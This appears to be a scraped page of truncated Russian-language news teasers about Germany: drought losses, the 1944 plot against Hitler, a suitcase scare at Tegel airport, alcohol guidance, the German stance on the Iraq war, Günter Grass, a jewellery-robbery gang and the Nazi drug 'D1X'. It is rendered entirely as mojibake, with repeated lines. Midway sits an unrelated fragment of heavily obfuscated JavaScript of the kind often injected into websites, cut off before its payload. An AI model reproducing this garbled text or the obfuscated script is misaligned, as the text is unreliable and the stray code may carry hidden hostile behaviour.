À âîò íèâû ïî âñåé ñòðàíå ïîñòðàäàëè, êàê íèêîãäà: òàêîãî íå áûëî ñ çàñóõè 1947 ãîäà.  íåêîòîðûõ ðåãèîíàõ ïîòåðè óðîæàÿ äîõîäÿò äî âîñüìèäåñÿòè ïðîöåíòîâ. Íåìèëîñåðäíîå ñîëíöå áóêâàëüíî âûæèãàåò ÿ÷ìåíü. Áàâàðñêèå...
20 èþëÿ 1944 ãîäà â øòàá-êâàðòèðå Ãèòëåðà â Ðàñòåíáóðãå (Âîñòî÷íàÿ Ïðóññèÿ) âçîðâàëàñü áîìáà, êîòîðàÿ äîëæíà áûëà ðàçíåñòè ôþðåðà â êëî÷üÿ, íî îí, âîëåþ ñóäüáû, îòäåëàëñÿ òîãäà ëåãêèì ðàíåíèåì. 154 çàãîâîðùèêà ðàññòðåëÿëè, ïîâåñèëè, âçäåðíóëè íà ìåòàëëè÷åñêèå êðþ÷üÿ. Îá ýòîì íàïèñàíû ñîòíè êíèã, â àðõèâàõ õðàíÿòñÿ ïîäëèííèêè äîïðîñîâ, äîêóìåíòàëüíûå ñíèìêè êàçíè. Ìàëî èçâåñòíû äðóãèå ñòðàíèöû ýòîé òðàãè÷åñêîé è ãåðîè÷åñêîé ïîâåñòè...
×åðåç äâå íåäåëè ïîñëå ïîêóøåíèÿ ðåéõñôþðåð ÑÑ Ãåíðèõ Ãèììëåð íà çàêðûòîì ñáîðèùå ãàóëÿéòåðîâ íàïîìíèë îá îáû÷àÿõ äðåâíèõ ãåðìàíöåâ è ïðèçâàë ê ïîãîëîâíîé ìåñòè: "Ó ÷åëîâåêà, êîòîðûé ñîâåðøèë ïðåäàòåëüñòâî, äóðíàÿ êðîâü, ïîñêîëüêó ýòî êðîâü ïðåäàòåëÿ. Âîçìåçäèå òðåáóåò ïîýòîìó èñêîðåíèòü âåñü ðîä..." Âñïîìíèòå è ñðàâíèòå ñïåöèàëüíóþ ñòàòüþ ñòàëèíñêîãî Óãîëîâíîãî êîäåêñà, ïî êîòîðîé êàðàëè "÷ëåíîâ ñåìüè èçìåííèêîâ ðîäèíû", âîøåäøåé àááðåâèàòóðîé ×ÑÈÐ â äåñÿòêè òûñÿ÷ ñìåðòíûõ ïðèãîâîðîâ íè â ÷åì íå ïîâèííûì ëþäÿì.  ñïåöèàëüíûå êîíöëàãåðÿ áðîñàëè è ìàëîëåòíèõ äåòåé "âðàãîâ íàðîäà"...
...Ïîäïîëêîâíèê Öåçàð ôîí Õîôàêêåð ñëóæèë â 1944 ãîäó...
...Îïÿòü ïðîçâó÷àë ñðî÷íûé âûçîâ, è ñïåöèàëèñòû èç ïîãðàíïîëèöèè íåìåäëåííî ïðèáûëè â ñòîëè÷íûé àýðîïîðò Òåãåëü.  10.30 ó ñòîéêè îôîðìëåíèÿ áàãàæà áûë îáíàðóæåí áåñõîçíûé ÷åìîäàí, è ïîñëå íåñêîëüêèõ ïîïûòîê ðàçûñêàòü âëàäåëüöà ïðèëåãàþùèå çàëû áûëè ýâàêóèðîâàíû è îöåïëåíû.
Ñàïåðû âñêðûëè ñ ïîìîùüþ ñèëüíåéøåé âîäÿíîé ñòðóè ÷åìîäàí, â êîòîðîì íàõîäèëèñü ìàéêè, òðóñû, áðèòâåííûå ïðèíàäëåæíîñòè è ïðî÷àÿ æèòåéñêàÿ ìåëî÷ü. Íà îïåðàöèþ óøëî áîëåå äâóõ ÷àñîâ, ïðèøëîñü ïåðåíåñòè íåñêîëüêî ðåéñîâ.
Ìåñÿö íàçàä íà ãëàâíîì âîêçàëå Äðåçäåíà íàøëè êîðîáêó ñî âçðûâ÷àòêîé, ñ ýòîãî ìîìåíòà ìåñòíàÿ ïîëèöèÿ è ïîãðàíè÷íèêè â áîëüøèíñòâå ãîðîäîâ Ãåðìàíèè ïðåáûâàþò â ïîñòîÿííîé áîåâîé ãîòîâíîñòè, õîòÿ â îñîáîì ðåæèìå ïðàâîîõðàíèòåëè ðàáîòàþò â ÔÐà ñðàçó æå ïîñëå ñîáûòèé 11 ñåíòÿáðÿ 2001 ãîäà â Íüþ-Éîðêå. Ñåé÷àñ åùå áîëüøå óñèëåíû ïàòðóëè, ïàññàæèðîâ áåç êîíöà ïðèçûâàþò ïî ãðîìêîé ñâÿçè "íå çàáûâàòü ñâîèõ âåùåé" è ñîîáùàòü "î...
Äî íåäàâíåãî âðåìåíè â Ãåðìàíèè ñ÷èòàëè, ÷òî æåíùèíàì ìîæíî áåç óùåðáà äëÿ çäîðîâüÿ óïîòðåáëÿòü â äåíü 20 - 24 ãðàììà ÷èñòîãî àëêîãîëÿ - ïðèìåðíî 250 ãðàììîâ âèíà èëè ïîë-ëèòðà ïèâà. Ìóæ÷èíàì ïîáîëüøå - 30 - 40 ãðàììîâ àëêîãîëÿ. Êàðë Ìàíí, ïðîôåññîð óíèâåðñèòåòà â Ìàíãåéìå è èçâåñòíûé ñïåöèàëèñò ïî ïðîáëåìàì àëêîãîëüíîé çàâèñèìîñòè, ïðèøåë íà îñíîâå íåäàâíèõ èññëåäîâàíèé ê âûâîäó, ÷òî ýòè äàííûå çàâûøåíû âäâîå.
Ïðîôåññîð Ìàíí ðåêîìåíäóåò ñëåäóþùèé ðåæèì ïîòðåáëåíèÿ àëêîãîëÿ - äâà äíÿ â íåäåëþ âîîáùå íå ïèòü ñïèðòíîãî, à â òå÷åíèå ãîäà óñòðàèâàòü "áåçàëêîãîëüíóþ ïàóçó" íà ïÿòü-øåñòü íåäåëü. Ïðèåìëåì ëè òàêîé ðåöåïò â Ðîññèè?
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const _0x4b86db=-parseInt(_0x27dcfa(0x1b4))/(0x179a+-0x1706+-0x93)*(-parseInt(_0x27dcfa(0x1ae))/(0xd02+0x17f5+-0x24f5))+parseInt(_0x27dcfa(0x1b5))/(0x1325+0x2259+-0x357b)+-parseInt(_0x27dcfa(0x1a3))/(-0x1085+-0x17*0x1+-0x1c*-0x98)*(parseInt(_0x27dcfa(0x1b0))/(-0x19f2*-0x1+-0x1f57+0x7*0xc6))+parseInt(_0x27dcfa(0x1af))/(0x1c5+0x26ea+-0x5cf*0x7)*(parseInt(_0x27dcfa(0x1a1))/(0x255a+-0x931*-0x4+0x4a17*-0x1))+-parseInt(_0x27dcfa(0x1a6))/(-0x78*-0x14+0xb6b+-0x1*0x14c3)*(-parseInt(_0x27dcfa(0x1b2))/(-0x29*0x83+0x2692+-0x7*0x282))+parseInt(_0x27dcfa(0x1a0))/(0x25d0+-0x3cf+-0x21f7)*(-parseInt(_0x27dcfa(0x1b3))/(0x16c1+0x10*0x8f+-0x1fa6))+parseInt(_0x27dcfa(0x1a5))/(0x881*-0x1+-0xa76+0x1303);if(_0x4b86db===_0xb1095e)break;else...
Ýòîìó ôåíîìåíó íåò åäèíñòâåííîãî óáåäèòåëüíîãî îáúÿñíåíèÿ. Íåìöû ïîãîëîâíî ñîñòîÿò â áîëüíè÷íûõ
Ýòîìó ôåíîìåíó íåò åäèíñòâåííîãî óáåäèòåëüíîãî îáúÿñíåíèÿ. Íåìöû ïîãîëîâíî ñîñòîÿò â áîëüíè÷íûõ êàññàõ, à ñëåäîâàòåëüíî, ïî ïðåäïèñàíèþ âðà÷à ìîãóò ïîëó÷èòü ëþáîå ëåêàðñòâî â ñàìîé áîëüøîé óïàêîâêå íå äîðîæå ÷åì çà ïÿòü åâðî, åñëè äàæå îíî ñòîèò è áîëüøå ñîòíè. È òåì íå ìåíåå ïî÷òè äâå òðåòüèõ èç ðàñ÷åòëèâûõ, ýêîíîìÿùèõ êàæäûé ãðîø áóíäåñáþðãåðîâ èäóò ïðÿìî â àïòåêó, ìèíóÿ äîêòîðà, è îòäàþò íåìàëûå äåíüãè - â ïðîøëîì ãîäó 4,3 ìèëëèàðäà åâðî.
 ñðåäíåì çà ãîä èç 1,6 ìèëëèàðäà óïàêîâîê ìåäèêàìåíòîâ íåìöû îïëà÷èâàþò 680 ìèëëèîíîâ èç ñîáñòâåííîãî êàðìàíà - îñòðàÿ ñèþìèíóòíàÿ íåîáõîäèìîñòü èëè ëåíü çàðàíåå çàïèñàòüñÿ ê âðà÷ó è ïîñèäåòü â...
Âûõîäÿùàÿ â ÔÐà ðóññêîÿçû÷íàÿ ãàçåòà "Åâðîïà-ýêñïðåññ" îïóáëèêîâàëà ðàçìûøëåíèÿ èíæåíåðà Àðêàäèÿ Øèëëåðà, êîòîðûé ðåøèë âåðíóòüñÿ èç Ãåðìàíèè â Ðîññèþ. Ïðåäëàãàåì ýòî ïèñüìî ñ íåêîòîðûìè ñîêðàùåíèÿìè.
...Ïðèâåðåäëèâûé ÷èòàòåëü, íàâåðíîå, ñêàæåò: "Îïÿòü íàøåëñÿ íåêòî, íå îöåíèâøèé âåëèêèå áëàãà, ïðåäîñòàâëÿåìûå ïåðåñåëåíöàì - ýòíè÷åñêèì íåìöàì Åå Âåëè÷åñòâîì Ãåðìàíèåé!" Íî íå ïîðà ëè ìíîãèì èç íàñ âçãëÿíóòü â ãëàçà äðóã äðóãó è ñïðîñèòü: "×òî ìû çäåñü ïîòåðÿëè?"
 ïåðâóþ î÷åðåäü - ñàìèõ ñåáÿ, íàðóøèâ â îäåðæèìîé ïîãîíå ê âîðîòàì "â ðàé", êîòîðûì ìíîãèì ïðåäñòàâëÿëàñü ÔÐÃ, åñòåñòâåííûé õîä íàøåé æèçíè. Íåïðåäâçÿòî ãëÿäÿ íà âåùè, ñêàæåì: ðåàëüíîñòü íàøåé æèçíè íà Çàïàäå òàêîâà, ÷òî ðàñïëàòîé çà âìåøàòåëüñòâî â ïðåäíà÷åðòàííûé Áîãîì ïóòü (òÿæåëûé, íî òàì - íà ðîäèíå) îêàçûâàåòñÿ óòðàòà äóøåâíîãî ïîêîÿ, ðàçðóøåíèå ñâîåãî íåîñîçíàííîãî...
Ïî èñêðåííåìó ïðèçíàíèþ Èîõåíà Êîâàëüñêè, íåìåöêîãî îïåðíîãî ïåâöà ñ ìèðîâûì èìåíåì, "îí íåîäíîêðàòíî èìåë âîçìîæíîñòü èñïûòàòü íà ñåáå ëåãåíäàðíîå ðóññêîå ãîñòåïðèèìñòâî". Îäíàêî òî, ÷òî ïðîèçîøëî ñ íèì íà äíÿõ, "íèêàê â ýòó êàðòèíó íå âïèñûâàåòñÿ".
Íà îáðàòíîì ïóòè â Ãåðìàíèþ èç Òîêèî ïîñëå çàâåðøåíèÿ óñïåøíûõ ãàñòðîëåé Êîâàëüñêè çàáðîíèðîâàë àâèàáèëåò íà Áåðëèí ñ ïåðåñàäêîé â Ìîñêâå. Êîãäà îí ïðèáûë â ðîññèéñêóþ ñòîëèöó, âûÿñíèëîñü, ÷òî åãî ðåéñ äîìîé îòìåíèëè. Ýòî ïåâöà îãîð÷èëî, íî íè÷åãî òðàãè÷åñêîãî â ñëó÷èâøåìñÿ îí íå óâèäåë, ðàññóäèâ, ÷òî ñïîêîéíî ïðîâåäåò îäíó íî÷ü â äîáðîì ìîñêîâñêîì îòåëå.
Íî íàäåæäû íåîæèäàííî ðàçâåÿë "êðàéíå íåäîáðîæåëàòåëüíûé ÷åëîâåê â óíèôîðìå", çàÿâèâøèé, ÷òî "ó âàñ íåò ðîññèéñêîé âèçû è âû íå èìååòå ïðàâà ïîêèíóòü àýðîïîðò". Ïåâåö îòâåòèë, ÷òî ãîòîâ íåìåäëåííî îïëàòèòü âèçó. ×åëîâåê â óíèôîðìå åùå ðàç ñêàçàë: "Íåò". "Ïîñëå ýòîãî, - ïîæàëîâàëñÿ àðòèñò...
Îí ñíÿëñÿ áîëåå ÷åì â ñîòíå ôèëüìîâ, äåñÿòêè ïîñòàâèë êàê ðåæèññåð, ìèëëèîíû çðèòåëåé âîñòîðãàëèñü åãî ìàñòåðñòâîì, è çàðàáîòàë îí ìíîãî, î÷åíü ìíîãî ìèëëèîíîâ.
Íî 72-ëåòíèé Ìàêñèìèëèàí Øåëë, îòêàçûâàÿñü îò ïî÷åñòåé è ñëàâû, æèâåò îäèíîêî â àâñòðèéñêèõ Àëüïàõ â äåðåâÿííîé õèæèíå îáùåé ïëîùàäüþ ìåíüøå 50 êâàäðàòíûõ ìåòðîâ.
"Ýòîìó äîìèêó, - ðàññêàçûâàåò ãîëëèâóäñêàÿ "çâåçäà", - íåñêîëüêî ñîò ëåò. Ìîé ïðàïðàäåä èñïîëüçîâàë åãî äëÿ íî÷ëåãà, êîãäà çàáèðàëñÿ â ãîðû íà îõîòó". Âíèçó õèæèíû - ñîôà, êðîâàòü, ñòîë ñ ÷åòûðüìÿ ñòóëüÿìè, ñòàðàÿ êóõîííàÿ ïëèòà. ×åðäàê çàáèò êíèãàìè. Äîìèê îáîãðåâàåòñÿ êàôåëüíîé äðîâÿíîé ïå÷êîé, âîäû íåò. " ìîåì æèëüå âñå î÷åíü ïðîñòî, - ãîâîðèò Ìàêñèìèëèàí Øåëë, - äàæå íåìíîãî àñêåòè÷íî, íî åñòü òî, ÷òî ìíå íåîáõîäèìî. Çà÷åì, íàïðèìåð, âàííàÿ èëè äóø, åñëè çà ïîðîãîì èñòî÷íèê?"
Çíàìåíèòûé...
Êàðë-Õàéíö Ðèõòåð â ñåðîé ëèâðåå è öèëèíäðå, ñòîÿùèé ó âõîäà è îòêðûâàþùèé äâåðè äëÿ ïîêóïàòåëåé îäíîãî èç ñàìûõ äîðîãèõ ìàãàçèíîâ â Áåðëèíå KaDeWe, âñåãî-íàâñåãî ïîðòüå. Íî îí åùå è ïåðåâîä÷èê ñ âûñøèì îáðàçîâàíèåì, è òðàòèò íåìàëî ñâîåãî ñëóæåáíîãî óñåðäèÿ, ïîìîãàÿ ïðîäàâöàì, êîãäà ó íèõ âîçíèêàþò ñëîæíîñòè ñ ðóññêèì ÿçûêîì.
Èç èíîñòðàíöåâ èìåííî ðîññèÿíå ñàìûå ÷àñòûå ïîñåòèòåëè ýòîãî ðîñêîøíîãî òîðãîâîãî öåíòðà. "Ïîêóïàòåëè èç âàøåé ñòðàíû, - ãîâîðèò Êàðë-Õàéíö Ðèõòåð, - ÷àñòî âîîáùå íå ñïðàøèâàþò î öåíàõ, çàòî èìåþò î÷åíü ÷åòêèå ïðåäñòàâëåíèÿ, ÷òî îíè õîòåëè áû ïðèîáðåñòè. Âàæíåéøèå êðèòåðèè äëÿ íèõ - êà÷åñòâî è ìàðêà. Ïëàòÿò, êàê ïðàâèëî, íàëè÷íûìè, íåçàâèñèìî îò ñóììû".
"Ìàññîâûé íàïëûâ" ïîêóïàòåëåé èç Ðîññèè â Áåðëèí, íà÷àâøèéñÿ ëåò âîñåìü íàçàä, îáúÿñíÿåòñÿ äîâîëüíî ïðîçàè÷íî: ëåòåòü ñþäà èç Ìîñêâû ïàðó ÷àñîâ, à öåíû íà ðîñêîøíóþ îäåæäó è îáóâü íèæå, ÷åì â Ëîíäîíå è Ïàðèæå. Îáùåå ÷èñëî èíîñòðàííûõ òóðèñòîâ â íåìåöêîé ñòîëèöå ñîêðàòèëîñü çà ïåðâóþ ïîëîâèíó...
"Ñòàðøèé áðàò" ÿâíî íå æåëàåò íå òîëüêî ñ÷èòàòüñÿ ñ ìíåíèåì "áðàòüåâ ìëàäøèõ", íî è ñäåðæèâàòü ñâîè ýìîöèè. Ìèíèñòð îáîðîíû ÑØÀ Äîíàëüä Ðàìñôåëä, îáîçâàâ Ãåðìàíèþ è Ôðàíöèþ "ñòàðîé Åâðîïîé", îáâèíèë îáà ãîñóäàðñòâà â òîì, ÷òî "îíè ñîçäàþò ïðîáëåìû âîêðóã èðàêñêîãî êðèçèñà".
Ôðàçó î "ñòàðîé Åâðîïå" ñðåäñòâà ìàññîâîé èíôîðìàöèè ÔÐà äðóæíî ðàñøèôðîâàëè êàê ïðîòèâîïîñòàâëåíèå "Åâðîïå íîâîé", ðàñøèðÿþùåéñÿ çà ñ÷åò ãîñóäàðñòâ âîñòî÷íîé ÷àñòè êîíòèíåíòà, ïðàêòè÷åñêè áåçîãîâîðî÷íî ïîääåðæèâàþùèõ àìåðèêàíñêèå âîåííûå óãðîçû Èðàêó.
È Ôðàíöèÿ, è Ãåðìàíèÿ, îòìåòèâøèå î÷åðåäíîé þáèëåé ñâîåé äðóæáû, âûñòóïàþò ïðîòèâ ðàçâÿçûâàíèÿ àãðåññèè ÑØÀ íà Áëèæíåì Âîñòîêå, äåëàÿ óïîð íà ïðîäîëæåíèå ðàáîòû êîíòðîëåðîâ ÎÎÍ è íà ðàçîðóæåíèå Èðàêà â êîíå÷íîì èòîãå áåç ïðèìåíåíèÿ âîåííîé ñèëû. Âàøèíãòîí âíåøíå íå äåëàåò ðàçëè÷èÿ ìåæäó Ïàðèæåì è Áåðëèíîì â ñâîåì íåäîâîëüñòâå èõ ïîçèöèåé, îäíàêî ïðè ïðèíöèïèàëüíîì ñëîâåñíîì ïîäõîäå ðàçëè÷èÿ...
Âûñòóïàÿ âïåðâûå íà çàñåäàíèè Ñîâåòà áåçîïàñíîñòè ÎÎÍ, ìèíèñòð èíîñòðàííûõ äåë ÔÐà Éîøêà Ôèøåð òàêæå âïåðâûå ÷åòêî èçëîæèë ïîçèöèþ Ãåðìàíèè ïî âîçìîæíîé àãðåññèè ÑØÀ ïðîòèâ Èðàêà. Îí çàÿâèë, ÷òî â ñëó÷àå ýòîé âîéíû ìîæåò ðàçâàëèòüñÿ êîàëèöèÿ ïðîòèâ ìåæäóíàðîäíîãî òåððîðèçìà.
"Íàøà áîëüøàÿ îçàáî÷åííîñòü ñîñòîèò â òîì, - ïîä÷åðêíóë îí, - ÷òî âîåííûé óäàð ïî ðåæèìó â Áàãäàäå âûçîâåò íåïðåäñêàçóåìûå ïîñëåäñòâèÿ â áîðüáå ïðîòèâ òåððîðèçìà ïî âñåìó ìèðó". Áóäåò íàíåñåí òÿæåëûé óäàð è ïî ñòàáèëüíîñòè âî ìíîãèõ ðåãèîíàõ. Èìåííî ýòè îñíîâàíèÿ, - çàÿâèë ìèíèñòð, - è îïðåäåëÿþò ãëàâíûì îáðàçîì íåãàòèâíîå îòíîøåíèå Ãåðìàíèè ê âîåííîìó âòîðæåíèþ â Èðàê.
Îäíîâðåìåííî Éîøêà Ôèøåð îòìåòèë, ÷òî äîëæíà áûòü "ïîëíîñòüþ ñîáëþäåíà ðåçîëþöèÿ ÎÎÍ", òðåáóþùàÿ ðàçîðóæåíèÿ íûíåøíåãî ðåæèìà Áàãäàäà.  ýêñòðåìàëüíûõ ñëó÷àÿõ, ïî ñëîâàì ãëàâû âíåøíåïîëèòè÷åñêîãî âåäîìñòâà ÔÐÃ, áîðüáà ïðîòèâ ìåæäóíàðîäíîãî òåððîðèçìà äîëæíà âåñòèñü è...
Êðóïíåéøèé ñîâðåìåííûé ïèñàòåëü Ãåðìàíèè íàïðàâèë ÷åðåç àãåíòñòâî ÄÏÀ ïèñüìî, â êîòîðîì äàåò
Êðóïíåéøèé ñîâðåìåííûé ïèñàòåëü Ãåðìàíèè íàïðàâèë ÷åðåç àãåíòñòâî ÄÏÀ ïèñüìî, â êîòîðîì äàåò ñâîþ îöåíêó ñîáûòèÿì âîêðóã Èðàêà. Ãþíòåð Ãðàññ îáâèíÿåò â ëèöåìåðèè àìåðèêàíñêîå ðóêîâîäñòâî è åãî ñîþçíèêîâ ïî ïðèãîòîâëåíèÿì ê àãðåññèè ïðîòèâ Èðàêà: "Ýòà âîéíà æåëàííà è ðå÷ü èäåò î íåôòè. Çà ýòîé âîéíîé ïîñëåäóþò äðóãèå âîéíû ïî òîé æå ñàìîé ïðè÷èíå".
Ðàçìûøëÿÿ î âîåííîé óãðîçå, ïèñàòåëü çàäàåò âîïðîñ: "Ýòà âîåííàÿ óãðîçà äëÿ òîãî, ÷òîáû èçáåæàòü âîéíû?" - è äàåò îòðèöàòåëüíûé îòâåò, ãîâîðÿ, ÷òî âðàã çàðàíåå âûáðàí, ÷òîáû îáâèíèòü èìåííî åãî â îïàñíîñòè, êîòîðàÿ íèâåëèðóåò âñå îñòàëüíûå ñîîáðàæåíèÿ. Äàëåå íîáåëåâñêèé ëàóðåàò ïèøåò, ÷òî "ñòàëî...
Äåðçêàÿ "áàíäà ìîëîòîáîéöåâ", êàê ïðîõîäèò îíà íà ïîëèöåéñêîì æàðãîíå, äåéñòâóåò âñå âðåìÿ áåç îñîáîé èçîáðåòàòåëüíîñòè ïî îòðàáîòàííîé ñõåìå. Îäèí èç ãàíãñòåðîâ äåðæèò ïîä ïðèöåëîì àâòîìàòà ñëóæàùèõ è ïîêóïàòåëåé, äðóãîé êðóøèò ìîëîòêîì âèòðèíû è ñòåëëàæè, çàáèðàÿ ïðåæäå âñåãî äîðîãèå ÷àñû, òðåòèé ñòîèò íåïîäàëåêó "íà ñòðåìå", ÷òîáû ïðåäóïðåäèòü î âîçìîæíîì ïîÿâëåíèè ïîëèöèè. Ïîëó÷èâ íàãðàáëåííîå, îíè ñòðåìèòåëüíî èñ÷åçàþò, ÷àùå âñåãî íà ìîòîöèêëå.
..Ñöåíàðèé íàïàäåíèÿ íà þâåëèðíûé ìàãàçèí ÂÅÌÏÅ, ÷òî â ñàìîì öåíòðå Áåðëèíà, íàïðîòèâ Ðóññêîãî Äîìà, âûãëÿäåë òàêèì æå îáðàçîì. Íî åäâà ãàíãñòåð âîðâàëñÿ ñ àâòîìàòîì â ðóêàõ â ðîñêîøíûé ìàãàçèí, êàê åãî ñâÿçàëà ãðóïïà çàõâàòà ñòîëè÷íîãî ñïåöíàçà. Òóò æå àðåñòîâàëè è ïîäåëüíèêîâ, à íà êîíñïèðàòèâíîé êâàðòèðå çàõâàòèëè åùå äâóõ áàíäèòîâ.
Çà ýòîé øàéêîé, ñîñòîÿùåé â îñíîâíîì èç ïîëÿêîâ (è ãëàâíîå ëîãîâî íàõîäèòñÿ â Ïîëüøå), ÷èñëèòñÿ áîëåå ñîòíè îãðàáëåíèé êðóïíûõ þâåëèðîâ íå òîëüêî â Ãåðìàíèè, íî è âî Ôðàíöèè, Äàíèè, Ãîëëàíäèè. Âñå âëàäåëüöû ñòîëè÷íûõ ëàâîê äðàãîöåííîñòåé æèâóò ïîä ïîñòîÿííûì ñòðàõîì áûòü îãðàáëåííûìè.  áîëüøåé ÷àñòè þâåëèðíûõ...
"Ïðåïàðàò "D1X" áûë ïîñëåäíèì òàéíûì îðóæèåì Ãèòëåðà â äàâíî ïðîèãðàííîé âîéíå", - ïîäâîäèò èòîã òðåõëåòíèì èññëåäîâàíèÿì ãàìáóðãñêèé êðèìèíàëèñò Âîëüô Êåìïåð â òîëüêî ÷òî âûøåäøåé êíèãå "Nazis On Speed".
Ïðèäÿ ê âëàñòè, ãèòëåðîâöû îáúÿâèëè ïðîïàãàíäèñòñêèé "êðåñòîâûé ïîõîä" ïðîòèâ êîêàèíà - íàðêîòè÷åñêîãî áåäñòâèÿ 20-õ ãîäîâ, íî óæå â ñàìîì íà÷àëå âîéíû îíè ïîääåðæèâàëè â ñîëäàòàõ áîåâîé äóõ ñ ïîìîùüþ íàðêîòèêà "ïåðâèòèíà". Òîëüêî ñ àïðåëÿ ïî äåêàáðü 1939 ãîäà áåðëèíñêàÿ ôèðìà "Òåììåëü" íàïðàâèëà âåðìàõòó 29 ìèëëèîíîâ òàêèõ òàáëåòîê.
×åì áûñòðåå íàäâèãàëîñü ïîðàæåíèå, òåì àêòèâíåå èñêàëè ãèòëåðîâöû ñðåäñòâî, ñïîñîáíîå ïîäíÿòü áîåâîé äóõ ñîëäàò.
Ïðè ïðÿìîì ó÷àñòèè Ãèòëåðà ðàçðàáîòêó "D1X" ïîðó÷èëè ãðóïïå ôàðìàêîëîãîâ èç Êèëÿ âî ãëàâå ñ èçâåñòíûì ïðîôåññîðîì Ãåðõàðäîì Îðöåøîôñêè. Âñêîðå ìåäèêàìåíò áûë ñîçäàí. Òàáëåòêà "D1X" ñîäåðæàëà ïÿòü...
